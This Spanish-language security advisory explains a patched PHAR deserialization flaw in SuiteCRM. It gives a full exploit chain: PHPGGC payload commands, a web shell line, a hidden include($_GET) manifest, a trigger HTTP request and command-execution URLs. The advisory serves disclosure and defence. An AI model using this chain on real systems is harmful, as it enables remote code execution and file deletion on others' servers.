Skip to main content

SuiteCRM: vulnerabilidad de deserialización de PHAR que permite ejecutar código

Escrito por
Headshot of Sam Sanoop

Sam Sanoop

vulnerability assessment

7 de mayo de 2021

0 minutos de lectura

SuiteCRM es una aplicación gratuita y de código abierto de gestión de relaciones con clientes para servidores. Este aviso detalla una vulnerabilidad de deserialización de PHAR en SuiteCRM que un administrador autenticado podría aprovechar para ejecutar comandos en el sistema operativo subyacente. Este problema se corrigió en la versión 7.11.19.

En PHP, los archivos PHAR (PHP Archive) se pueden usar para empaquetar aplicaciones y bibliotecas PHP en un solo archivo. El formato PHAR de PHP utiliza un formato de archivo único para almacenar y ejecutar varios códigos PHP. Los archivos PHAR contienen metadatos sobre los archivos del archivo comprimido. En un archivo PHAR, estos metadatos se almacenan en formato serializado.

Si se realiza una operación de archivo en un archivo PHAR mediante el wrapper phar://, los metadatos del archivo PHAR se deserializan. Por lo tanto, un atacante podría realizar una inyección de objetos PHP sin usar la función unserialize(), mediante la carga de un archivo PHAR. Esta vulnerabilidad ganó popularidad después de que Sam Thomas publicara su investigación en BlackHat USA 2018, titulada It's a PHP Unserialization Vulnerability Jim, but Not as We Know It, que afectó a varios sistemas de gestión de contenidos. Para explotar esta vulnerabilidad, deben cumplirse dos condiciones:

  • Una función del sistema de archivos de PHP, como file_exists, cuyo control pueda obtenerse y que active la función unserialize()

  • La capacidad de cargar en el sistema objetivo un archivo PHAR con la extensión .phar, .zip o .jpeg, y conocer la ruta de este archivo

Detalles técnicos de la deserialización de PHAR

Causa raíz

Esta vulnerabilidad evade los mecanismos de seguridad implementados por los responsables de SuiteCRM como parte de la corrección de CVE-2020-8801. Como se indica en el aviso sobre CVE-2020-8801, se puede activar la deserialización de PHAR desde varias secciones del panel de administración de SuiteCRM, como Copias de seguridad, Importación y UpgradeWizard. Los responsables corrigieron este problema en la versión 7.11.13 mediante el commit 571cbfa209da4c8280a5359f301115de25b4c6e3.

Editor de código que muestra una condición de PHP que verifica si un nombre de archivo contiene el protocolo 'phar://' y, de ser así, termina la ejecución.

La función strpos se usa para comprobar si un parámetro del usuario contiene una aparición de la URI phar://. Sin embargo, debido al uso de la función strpos, esta comprobación distingue entre mayúsculas y minúsculas. Por lo tanto, es posible evadirla usando letras mayúsculas y activar la deserialización de PHAR mediante la llamada PHAR://.

Encontrar un gadget utilizable

Aunque es posible evadir el parche de SuiteCRM para la comprobación de la URI PHAR, se descubrió que los responsables de SuiteCRM tomaron precauciones para impedir el uso de todos los gadgets POP posibles que un atacante podría activar mediante la deserialización. Para ello, agregaron un método mágico __wakeup a las clases consideradas peligrosas. Este método se invoca automáticamente cada vez que se deserializa un objeto y garantiza que se destruyan todas sus propiedades durante la deserialización. A continuación se muestra un ejemplo.

Fragmento de código PHP que muestra un método __wakeup que borra las propiedades del objeto y genera una excepción «Not a serializable object».

En modules/Import/sources/ImportFile.php, existe un método mágico __destruct que se podría aprovechar para eliminar archivos arbitrarios del sistema mediante una deserialización insegura. Sin embargo, debido a la presencia del método __wakeup mencionado anteriormente, un atacante no puede aprovechar este método __destruct. Esta comprobación se encontró en todo el código base de SuiteCRM.

Sin embargo, al examinar más de cerca las dependencias de SuiteCRM, se pudo encontrar un método __destruct utilizable para eliminar archivos arbitrarios. SuiteCRM usa la biblioteca zend-gdata, que a su vez usa zf1/zend-http como dependencia transitiva.

En el archivo Stream.php del paquete zf1/zend-http, existe un método __destruct que, al activarse, ejecuta la función @unlink en la propiedad $stream_name de un objeto. La función @unlink de este método se puede aprovechar para eliminar un archivo. Para que esta función se active, también debe existir una propiedad $_cleanup para el objeto en cuestión. A continuación se muestra el código de este método __destruct.

Fragmento de código PHP que muestra una función __destruct que cierra un flujo y elimina el archivo asociado.

La existencia de este gadget ya es conocida y está disponible para usarse en la biblioteca PHPGGC. PHPGGC es una biblioteca de cargas útiles para unserialize() que incluye un script para generar una carga útil de gadget POP a partir de los parámetros proporcionados por el usuario.

Nota: Si también se instalan todas las dependencias de desarrollo en una instalación de SuiteCRM, se puede aprovechar una versión vulnerable de PHP-CS-Fixer para eliminar archivos arbitrarios en lugar de zf1/zend-http. Aquí puedes consultar el pull request que integra este gadget POP en PHPGGC: https://github.com/ambionics/phpggc/pull/93.

Encontrar y aprovechar una funcionalidad de carga

Aunque el aviso sobre CVE-2020-8801 explica los parámetros y las secciones de SuiteCRM que se pueden usar para la deserialización de PHAR, ni el aviso ni la entrada de blog relacionada del investigador que descubrió este problema indican dónde se puede cargar un archivo PHAR ni qué ruta o ubicación se podría aprovechar. Además, se descubrió que todos los archivos que se cargan en SuiteCRM se renombran sin extensión y reciben un identificador UUID aleatorio. Por ejemplo, el archivo party-parrot.png que se carga como parte de un documento se renombrará a 51eea769-ce13-40bb-fb25-60197bf855ae.

Detalles del documento de SuiteCRM para party-parrot.png, mostrados sobre una ventana de terminal que presenta archivos cargados y actividad en la línea de comandos

Sin embargo, al revisar con más detalle todas las funcionalidades de SuiteCRM, se descubrió que las cargas de archivos ZIP del Module Loader no siguen este comportamiento: los archivos ZIP de módulos se cargan y guardan en una ubicación arbitraria con la extensión .zip, que un atacante puede adivinar. Esto puede servir para cumplir los requisitos de una vulnerabilidad de deserialización de PHAR. A continuación se muestra un ejemplo:

Cargador de módulos de SuiteCRM que muestra el paquete examplemodule.zip con los botones «Instalar paquete» y «Eliminar paquete»

El archivo examplemodule.zip cargado se guardará en la siguiente ubicación. El archivo manifest.php se toma del directorio module.zip y también está disponible en esa misma ubicación.

Terminal que muestra el listado del directorio del módulo con los archivos exemplemodule-manifest.php y exemplemodule.zip.

Activar la eliminación arbitraria de archivos

Ahora que se conoce la ruta de un archivo ZIP cargado, que hay un gadget de eliminación de archivos y que existen funciones que activan la deserialización de PHAR, es posible aprovechar estas condiciones para explotar una instalación de SuiteCRM.

Con PHPGGC, se puede crear un archivo PHAR de ejemplo de la siguiente manera:

./phpggc -p zip -o /tmp/malicious.zip -f ZendFramework/FD1 /tmp/test.txt

El comando anterior creará un archivo PHAR en formato ZIP con el nombre malicious.zip. Esto insertará una carga útil serializada del gadget POP zf1/zend-http mencionado anteriormente y establecerá la propiedad $stream_name de este objeto serializado en /tmp/test.txt. Además, la opción -f de PHPGGC también se puede usar para garantizar que el objeto serializado se destruya inmediatamente después de la llamada a unserialize(), lo que hace que la carga útil sea más confiable.

Nota: Para que la aplicación acepte este archivo ZIP, también hay que agregar un archivo manifest.php de ejemplo al ZIP. En Linux, puedes hacerlo de la siguiente manera:

zip -rv malicious.zip manifest.php

Una vez cargado, este archivo estará en el directorio upload/upgrades/module.

Terminal que muestra un directorio de módulos con archivos PHP y ZIP de manifiestos de ejemplo y maliciosos, resaltados con un contorno rojo.

Ahora se puede activar este archivo desde la sección Copias de seguridad del panel de administración de SuiteCRM.

Formulario de configuración de copias de seguridad de SuiteCRM que muestra un campo de ruta PHAR, un campo de nombre de archivo y el botón Confirmar configuración

De la eliminación de archivos a la ejecución de código

Al aprovechar la eliminación de archivos, es posible eliminar archivos del código fuente de la aplicación y llevar a cabo ataques de denegación de servicio. También es posible aprovecharla para ejecutar código arbitrario en una instalación de SuiteCRM: basta con eliminar un archivo .htaccess y acceder directamente a los archivos cargados.

El archivo .htaccess es un archivo de configuración distribuido que permite a Apache gestionar los cambios de configuración por directorio. En una instalación de SuiteCRM, este archivo impide el acceso directo a directorios como /upload y /files. Se puede aprovechar la deserialización de PHAR para eliminar este archivo. Además, el archivo mainfest.php mencionado anteriormente se puede usar para ocultar y activar código PHP.

Al cargar un módulo mediante la funcionalidad Module Loader, SuiteCRM requiere que también haya un archivo manifest.php. A continuación se muestra un ejemplo:

Editor de código oscuro que muestra un manifiesto PHP que define un módulo malicioso, las versiones y variantes aceptadas de Sugar, metadatos y rutas de instalación.

De forma predeterminada, SuiteCRM comprueba que el archivo cargado no contenga llamadas a funciones sospechosas, como exec o system. Aquí puedes consultar la lista completa de llamadas a funciones restringidas: Restricciones de Module Loader

Esta comprobación no tiene en cuenta la función “include”. En PHP, la función include se puede usar para incluir archivos (de forma predeterminada, archivos locales), que luego se ejecutan como código PHP. Por lo tanto, se puede ocultar una función include en el archivo manifest para que acepte un parámetro del usuario (include($_GET['p']);); después, se puede proporcionar un archivo cargado (que SuiteCRM renombra) con código PHP malicioso para lograr la ejecución de código.

Resumen de la deserialización de PHAR

En resumen, el proceso para pasar de la deserialización de PHAR a la ejecución de código es el siguiente:

1. Cargar un archivo en SuiteCRM

Cargar un archivo en SuiteCRM mediante su funcionalidad de almacenamiento habitual. En este ejemplo, se carga el siguiente archivo como shell.php: <?php echo system($_GET["cmd"]); ?>

Página de detalles del documento de SuiteCRM que muestra el nombre de archivo shell.php.txt y el nombre del documento shell.php

La aplicación le cambia el nombre a eb7cde01-6190-9ca9-b81b-601998504b41 y lo almacena en el directorio /var/www/html/uploads. Este UID se puede ver en la URL del archivo:

http://suitecrm.local/index.php?entryPoint=download&id=eb7cde01-6190-9ca9-b81b-601998504b41&type=Documents

2. Cargar un PHAR ZIP

Cargar un archivo PHAR ZIP que, al activarse, elimine el archivo .htaccess y que incluya un manifest.php con código PHP oculto. Se puede usar PHPGGC de la siguiente manera:

./phpggc -p zip -o /tmp/maliciousmodule.zip -f ZendFramework/FD1 /var/www/html/.htaccess

Después, se puede agregar el siguiente código a un archivo manifest.php y añadirlo al archivo PHAR ZIP.

Editor de código que muestra una instrucción include de PHP resaltada que usa un parámetro GET: include($_GET[123]);

Luego, se puede cargar este archivo ZIP en el sistema mediante el componente Module Loader.

3. Activar la deserialización de PHAR

Activar la deserialización de PHAR llamando al archivo maliciousmodule.zip. Se puede usar la sección Copias de seguridad para activar la deserialización de PHAR. La solicitud HTTP enviada a la aplicación es la siguiente:

POST /index.php?module=Administration&action=Backups HTTP/1.1
Host: suitecrm.local
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Origin: http://suitecrm.local
Connection: close
Referer: http://suitecrm.local/index.php?module=Administration&action=Backups
Cookie: sugar_user_theme=SuiteP; ck_login_id_20=1; ck_login_language_20=en_us; EmailGridWidths=0=10&1=10&2=150&3=250&4=175&5=125; PHPSESSID=6b8f472cd174d02167bc0a0c908ec9e0
Upgrade-Insecure-Requests: 1

backup_dir=PHAR%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fupload%2Fupgrades%2Fmodule%2Fmaliciousmodule.zip&backup_zip=s&run=confirm

4. Acceder al manifest de maliciousmodule

Acceder al archivo manifest de malicousmodule navegando a la ruta del directorio e incluyendo el archivo shell.php.txt cargado. Ahora que se eliminó el archivo .htaccess, se puede acceder al directorio de cargas. El archivo malcioiusmodule-manifest.php ahora está disponible en la siguiente ruta:

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php 

Ahora se puede especificar ?123 y proporcionar el archivo shell.php.txt:

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41

El archivo shell.php.txt incluido se interpretará como código, y se puede proporcionar el parámetro cmd, que ejecutará el comando del sistema.

http://suitecrm.local/upload/upgrades/module/maliciousmodule-manifest.php?123=/var/www/html/upload/eb7cde01-6190-9ca9-b81b-601998504b41&cmd=id
El navegador muestra repetidamente la información del usuario y el grupo del servidor: uid=33(www-data), gid=33(www-data), groups=33(www-data).

Conclusión

En conclusión, al validar la entrada del usuario, se deben tomar precauciones para garantizar que las comprobaciones no distingan entre mayúsculas y minúsculas. Además, al corregir y prevenir el uso de gadgets de deserialización, hay que tener en cuenta las dependencias transitivas, ya que un proyecto las carga mediante la función de carga automática de Composer. Snyk Open Source también es compatible con el análisis de PHP y se puede usar para analizar e informar sobre bibliotecas conocidas que eliminaron de su código los gadgets de deserialización.